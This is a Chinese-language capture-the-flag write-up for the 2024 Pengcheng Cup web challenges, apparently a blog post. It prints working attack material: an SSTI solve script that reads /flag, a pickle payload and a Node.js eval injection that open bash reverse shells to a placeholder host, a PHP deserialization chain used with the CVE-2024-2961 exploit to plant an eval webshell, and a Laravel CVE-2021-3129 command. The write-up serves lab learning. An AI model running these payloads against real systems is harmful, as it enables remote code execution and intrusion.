2024鹏城杯Web题解

学弟们太强了

口算

1s内算式,使用python算就行(直接使用eval不安全,大家不要学),然后可以得到hint:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/')
def index(solved=0):
    global current_expr

    # 前端计算
    .....
    .....
    # 通过计算

    username = 'ctfer!'
    if request.args.get('username'):
        username = request.args.get('username')
        if whitelist_filter(username,whitelist_patterns):
            if blacklist_filter(username):
                return render_template_string("filtered")
            else:
                print("你过关!")
        else:
            return render_template_string("filtered")
    return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

可以看到有一个ssti盲打,主要是空格等被过滤了,用十六进制绕过,因为popen里面还有一段python代码需要执行,因此需要eval

(明明hint中是get参数,结果实际上是post,懵了半天)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests

session = requests.Session()

res = session.get("http://192.168.18.28/calc")
c = res.text
print(c)
result = eval(c)
print(result)


cmd='cat /flag'
cmd=cmd.encode('utf-8').hex()
data = {"username":"{{g.pop.__globals__.__builtins__['eval'](\"__import__('os').popen(bytes.fromhex('636174202f666c6167').decode()).read()\")}}"}
print(data)
res = session.post("http://192.168.18.28/?Submit=%E6%8F%90%E4%BA%A4&answer="+str(result),data=data)
print(res.text)

ez_python

扫出一个login路由,爆破得到账号test:123456,返回一个token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJ0ZXN0IiwiZXhwIjoxNzMxMTIwMTQ5fQ.OXE4Os6vL6dZ8KyWeH-CUDKmIBSvUIv15luP8VqXF8o

直接爆破可以得到密钥a123456,修改jwt为admin之后返回“听说ser有点东西”

访问ser路由得到一个pickle反序列化

随便找个payload打就行:

1
2
3
4
(S'bash -c "bash -i >& /dev/tcp/xxx/8888 0>&1"'
ios
system
.
1
{"pickled":"KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgvODg4OCAwPiYxIicNCmlvcw0Kc3lzdGVtDQou"}

not admin

源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')

const app = express();
const port = 3000;

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());

const tmp_user = {}

function authenticateToken(req, res, next) {
    const authHeader = req.headers['authorization'];
    const token = authHeader;
    if (tmp_user.secretKey == undefined) {
        tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
    }
    if (!token) {
        return res.redirect('/login');
    }
    try {
        const decoded = jwt.verify(token, tmp_user.secretKey);
        req.user = decoded;
        next();
    } catch (ex) {
        return res.status(400).send('Invalid token.');
    }
}

const merge = (a, b) => {
    for (var c in b) {
        console.log(JSON.stringify(b[c]));
        if (check(b[c])) {
            if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
                merge(a[c], b[c]);
            } else {
                a[c] = b[c];
            }
        } else {
            return 0
        }
    }
    return a
}

console.log(tmp_user.secretKey)

var check = function (str) {
    let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
    
    if (typeof str === 'object' && str !== null) {
        for (let key in str) {
            if (!check(key)) {
                return false;
            }
            if (!check(str[key])) {
                return false;
            }
        }
        return true;
    } else {
        return !input.test(str);
    }
};

app.get('/login', (req, res) => {
    res.render('login')
});

app.post('/login', (req, res) => {
    if (merge(tmp_user, req.body)) {
        if (tmp_user.secretKey == undefined) {
            tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
        }
        if (User.verifyLogin(tmp_user.password)) {
            const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
            res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
        } else {
            res.send('Login failed!');
        }
    } else {
        res.send("Hacker denied!")
    }
});

app.get('/', (req, res) => {
    authenticateToken(req, res, () => {
        backcode = eval(tmp_user.code)
        res.send("something happend~")
    });
});

app.listen(port, () => {
    console.log(`Server running at http://localhost:${port}`);
});

本来以为是原型链污染,结果仔细看了下merge的时候直接改就行,不用原型链

首先注意到authenticateToken函数只是单纯验证secretKey,而secretKey是我们可以修改的,因此我们可以先发包修改secretKey:

1
username=admin&password=123456&secretKey=1234

然后用自己的key生成一个jwt:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImsxdGUifQ.Pzma-LxIRrefIx88I6DLGsUz7Mh1Syc5b5WodL59AlE

然后拿这个jwt通过authenticateToken函数即可:

接着是绕过check函数,只需要对其进行覆盖即可:

1
code=check=(str)=>true;

使用payloadrequire('child_process').execSync('sleep 3')可以确定已经rce了

最后因为没有回显,反弹shell:

1
code=require('child_process').execSync('bash -c "bash -i >& /dev/tcp/xxx/8888 0>&1"')

fileread

给源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class cls1{
    var $cls;
    var $arr;
    function show(){
        show_source(__FILE__);
    }
    function __wakeup(){
        foreach($this->arr as $k => $v)
            echo $this->cls->$v;
    }
}
class cls2{
    var $filename = 'hello.php';
    var $txt = '';
    function __get($key){
           var_dump($key);
        if($key == 'fileput')
            return $this->fileput();
        else
            return '<p>'.htmlspecialchars($key).'</p>';
    }
    function fileput(){
        echo 'Your file:'.file_get_contents($this->filename);
    }
}

if(!empty($_GET)){
    $cls = base64_decode($_GET['ser']);
    $instance = unserialize($cls);
}else{
    $a = new cls1();
    $a->show();
}
?>

首先是一个简单的反序列化,链子:

1
cls1->__wakeup()==>cls2->__get()==>cls2->fileput()

反序列化脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class cls1{
    var $cls;
    var $arr;

    function __construct($filename){
        $this->cls = new cls2($filename);
        $this->arr = array("fileput");
    }

    function show(){
        show_source(__FILE__);
    }
    function __wakeup(){
        foreach($this->arr as $k => $v)
            echo $this->cls->$v;
    }
}
class cls2{
    var $filename;
    var $txt = '';

    function __construct($filename){
        $this->filename = $filename;
    }

    function __get($key){
        var_dump($key);
        if($key == 'fileput')
            return $this->fileput();
        else
            return '<p>'.htmlspecialchars($key).'</p>';
    }
    function fileput(){
        echo 'Your file:'.file_get_contents($this->filename);
    }
}

// if(!empty($_GET)){
//     $cls = base64_decode($_GET['ser']);
//     $instance = unserialize($cls);
// }else{
//     $a = new cls1();
//     $a->show();
// }

if ($argc === 1){
    $filename = $argv[0];
    echo base64_encode(serialize(new cls1($filename)));
}

打过去发现没权限,使用cnext,参考vulhub/php/CVE-2024-2961/README.zh-cn.md at master · vulhub/vulhub,exp来自:https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py,这里只修改了Remote类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    `php
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
    `

    Tweak it to fit your target, and start the exploit.
    """
    
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
    
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        # return self.session.post(self.url, data={"file": path})
        result = subprocess.run(['php', 'ser.php', path], capture_output=True, text=True)
        # print(result)
        payload = result.stdout
        return self.session.get(self.url, params={"ser": payload})
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
        return base64.decode(data)

命令行:

1
python my-cnext.py http://target-ip/ "echo '<?=@eval(\$_POST[1]);?>' > shell.php"

LookUp

java不会(在学了在学了:sob:)

ezLaravel

根据版本找到CVE-2021-3129,参考vulhub/laravel/CVE-2021-3129 at master · vulhub/vulhub,用工具直接打就行

1
python CVE-2021-3129.py --chain Laravel/RCE12 --host "http://target-ip/" --force
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计